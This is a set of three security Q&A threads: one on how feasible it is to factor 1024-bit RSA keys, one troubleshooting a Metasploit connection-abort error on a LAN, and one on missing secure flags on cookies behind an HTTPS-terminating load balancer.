TWINKLE is only about speeding up the sieving part. It does nothing about the linear reduction. In other words, it speeds up the part which is easy (relatively speaking). Even a TWINKLE-enhanced sieving half would be nowhere near 12μs. Instead, it would rather help bringing a four month sieving effort down to, say, three weeks. Which is good, in a scientific way, but not a record breaker, especially since linear reduction dominates for larger sizes. The 12μs figure seems to come from a confusion with an even more mythical beast, the Quantum Computer, which could easily factor big numbers if a QC with 512 "qubits" could be built. D-Wave has recently announced a quantum computer with 128 qubits, but it turned out that these were not "real" qubits, and they are unsuitable for factorization (they still can do, theoretically, some efficient approximations in optimization problems, which is great but basically not applicable to cryptography, because cryptographic algorithms are not amenable to approximations -- they are designed so that a single wrong bit scrambles the whole thing). The best "real" QC so far seems to be the prototype by IBM with, as far as I recall, has 5 qubits, enabling it to establish that 15 is equal to 3 times 5.

The current RSA factorization record is for a 768-bit integer, announced in December 2009. It took four years and involved the smartest number theorists currently living on Earth, including Lenstra and Montgomery, who have somewhat god-like status in those circles. I recently learned that the selection of the parameters for a 1024-bit number factorization has begun (that's the "brainy" part); the sieving is technically feasible (it will be expensive and involve years of computation time on many university clusters) but, for the moment, nobody knows how to do the linear reduction part for a 1024-bit integer. So do not expect a 1024-bit break any time soon.

Right now, a dedicated amateur using the published code (e.g. Msieve) may achieve a 512-bit factorization if he has access to powerful computers (several dozens big PC, and at least one clock full of fast RAM) and a few months of free time; basically, "dedicated amateur" means "bored computer science student in a wealthy university". Anything beyond 512 bits is out of reach of an amateur.

Summary: in your code, you can return "practically infinite" as cracking time for all key lengths. A typical user will not break a 1024-bit RSA key, not now and not in ten years either. There are about a dozen people on Earth who can, with any credibility, claim that it is conceivable, with a low but non-zero probability, that they might be able to factor a single 1024-bit integer at some unspecified time before year 2020.

(However, it is extremely easy to botch an implementation of RSA or of any application using RSA in such a way that what confidential data it held could be recovered without bothering with the RSA key at all. If you use 1024-bit RSA keys, you can be sure that when your application will be hacked, it will not be through a RSA key factorization.)


Metasploit Closing Connections? Whenever I attempt to use an exploit (that I know will work) from Metasploit in Windows on a machine on my LAN, I always get the error

    Exploit exception: An established connection was aborted by the software in your host machine.

I do not know why this is happening as my firewall is off and anitvirus is disabled. How reliable is this message; is it actually caused because a connection is being aborted or is this just a sign of a more generic problem? Thanks.

At first look, and without more data, I would still say that you have a local firewall/AV issue.

Run wireshark or tcpdump to see how far the connection gets before it gets aborted.

EDIT

OR, you might have something running on your listener port.


Insecure Cookies Because of Load Balancer I have a load balancer that terminates https requests to http and therefore my backend servers see them as http.  As a result, all of my cookies are set without a secure flag when you view cookies on the https version of this site.  Does this matter anyway since we mix http and https?  Amazon.com and several other large e-commerce sites seem to have non-secure cookies on https too.

A cookie has the "secure" flag if it says so. Theoretically, nothing prevents a "secure" cookie from being served by a HTTP (non-HTTPS) server; but your server software may take issue, since, from its point of view, the protocol is HTTP and a secure cookie makes little sense if it transits over HTTP. Your server does not know that it is behind a HTTPS-to-HTTP gateway. On the other hand, the client sees a HTTPS connection, and obtaining a secure cookie through such a connection will not surprise it at all.

The trouble with a non-secure cookie is that the client will happily send it to any server which just looks like the originating server. In the presence of an active attacker, you must assume that any non-secure cookie could be hijacked by the attacker. Depending on your exact situation, this may be a major, minor or inexistent threat.